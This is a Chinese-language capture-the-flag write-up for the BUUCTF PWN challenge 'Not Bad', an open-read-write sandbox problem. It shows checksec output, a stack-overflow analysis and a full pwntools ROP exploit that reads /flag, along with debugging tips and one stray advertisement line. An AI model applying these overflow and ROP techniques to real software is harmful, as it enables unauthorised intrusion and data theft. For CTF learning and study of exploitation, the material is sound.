1. 题目背景与核心挑战解析
"Not Bad"是BUUCTF平台上一道经典的PWN类题目,属于orw(open-read-write)题型。这类题目主要考察选手对Linux系统调用链的掌握程度,特别是在沙箱环境受限时的利用技巧。题目通常会限制execve等危险系统调用,只允许通过open、read、write这三个基本系统调用来完成flag文件的读取。
这道题的特殊之处在于它同时涉及32位和64位程序参数传递机制的差异。在64位系统中,系统调用参数通过寄存器传递(rdi, rsi, rdx等),而32位程序则通过栈传递参数。题目环境中可能存在两种架构的混合调用场景,这增加了利用的复杂度。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与工具准备
2.1 基础工具链配置
解决PWN题需要以下工具集合:
- pwntools:Python的漏洞利用框架
- ROPgadget:用于查找ROP链的工具
- checksec:检查程序保护机制
- gdb-peda:增强版调试器
安装命令示例:
bash复制pip install pwntools
sudo apt install ropgadget
sudo apt install checksec
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
2.2 题目文件分析
首先使用checksec检查保护机制:
bash复制checksec ./not_bad
典型输出可能显示:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键信息:
- 64位程序
- 开启NX(栈不可执行)
- 未开启PIE(代码段地址固定)
3. 漏洞分析与利用思路
3.1 缓冲区溢出漏洞定位
通过逆向分析可以发现,程序存在明显的栈溢出漏洞。例如以下危险代码:
c复制void vulnerable_function() {
char buf[64];
read(0, buf, 256); // 明显超出buf大小
}
3.2 ORW利用链构建
在沙箱限制下,我们需要构造如下调用链:
- open("/flag", 0)
- read(fd, buf, 0x100)
- write(1, buf, 0x100)
64位系统调用约定:
- rax:系统调用号
- rdi:第一个参数
- rsi:第二个参数
- rdx:第三个参数
关键系统调用号:
- open:2
- read:0
- write:1
4. 详细利用过程
4.1 ROP链构造
首先获取必要gadget:
bash复制ROPgadget --binary ./not_bad > gadgets.txt
典型ROP链结构:
python复制from pwn import *
context.arch = 'amd64'
elf = ELF('./not_bad')
rop = ROP(elf)
rop.raw(rop.rdi.address) # pop rdi; ret
rop.raw(0x400000 + elf.search(b'/flag').__next__()) # flag路径地址
rop.raw(rop.rsi.address) # pop rsi; ret
rop.raw(0) # O_RDONLY
rop.raw(elf.plt['open']) # call open
# 后续接read和write调用...
4.2 完整exp示例
python复制#!/usr/bin/env python3
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./not_bad') # 本地测试
# p = remote('node4.buuoj.cn', 12345) # 远程连接
# 构造ROP链
elf = ELF('./not_bad')
rop = ROP(elf)
# 假设找到字符串"/flag"在0x400800
flag_path = 0x400800
# open("/flag", 0)
rop.raw(rop.rdi.address)
rop.raw(flag_path)
rop.raw(rop.rsi.address)
rop.raw(0)
rop.raw(elf.plt['open'])
# read(3, buf, 0x100)
rop.raw(rop.rdi.address)
rop.raw(3) # 假设open返回fd=3
rop.raw(rop.rsi.address)
rop.raw(elf.bss() + 0x500) # 使用bss段作为缓冲区
rop.raw(rop.rdx.address)
rop.raw(0x100)
rop.raw(elf.plt['read'])
# write(1, buf, 0x100)
rop.raw(rop.rdi.address)
rop.raw(1) # stdout
rop.raw(rop.rsi.address)
rop.raw(elf.bss() + 0x500)
rop.raw(rop.rdx.address)
rop.raw(0x100)
rop.raw(elf.plt['write'])
# 构造payload
offset = 72 # 通过调试确定的偏移
payload = flat({
offset: rop.chain()
})
p.send(payload)
p.interactive()
5. 调试技巧与常见问题
5.1 调试技巧
- 使用cyclic确定偏移:
bash复制gdb ./not_bad
run < <(cyclic 200)
# 崩溃后查看RSP值
cyclic -l 0x6161616b
- 检查系统调用:
bash复制strace -f ./not_bad
5.2 常见错误处理
- 段错误(Segmentation Fault):
- 检查ROP链是否对齐
- 确认gadget地址是否正确
- 验证栈布局是否符合预期
- 系统调用失败:
- 检查文件路径是否正确
- 确认文件描述符是否有效
- 验证权限设置
- 32/64位混合问题:
- 确保所有gadget来自同一架构
- 注意参数传递方式的差异
6. 进阶技巧与变种
6.1 无显式字符串情况
当二进制中没有"/flag"字符串时,可以:
- 使用write泄露内存
- 通过栈迁移构造ROP链
- 使用其他已知路径尝试
6.2 更严格的沙箱限制
当遇到更严格的seccomp时:
- 分析允许的系统调用
- 寻找非常规文件读取方式
- 考虑侧信道攻击
6.3 64/32位混合调用
处理混合架构时:
- 使用retfq切换模式
- 注意栈对齐差异
- 分别准备两种架构的ROP链
提示:在实际比赛中,建议先本地测试所有利用链,确认无误后再攻击远程目标。网络延迟可能导致ROP链执行不稳定。
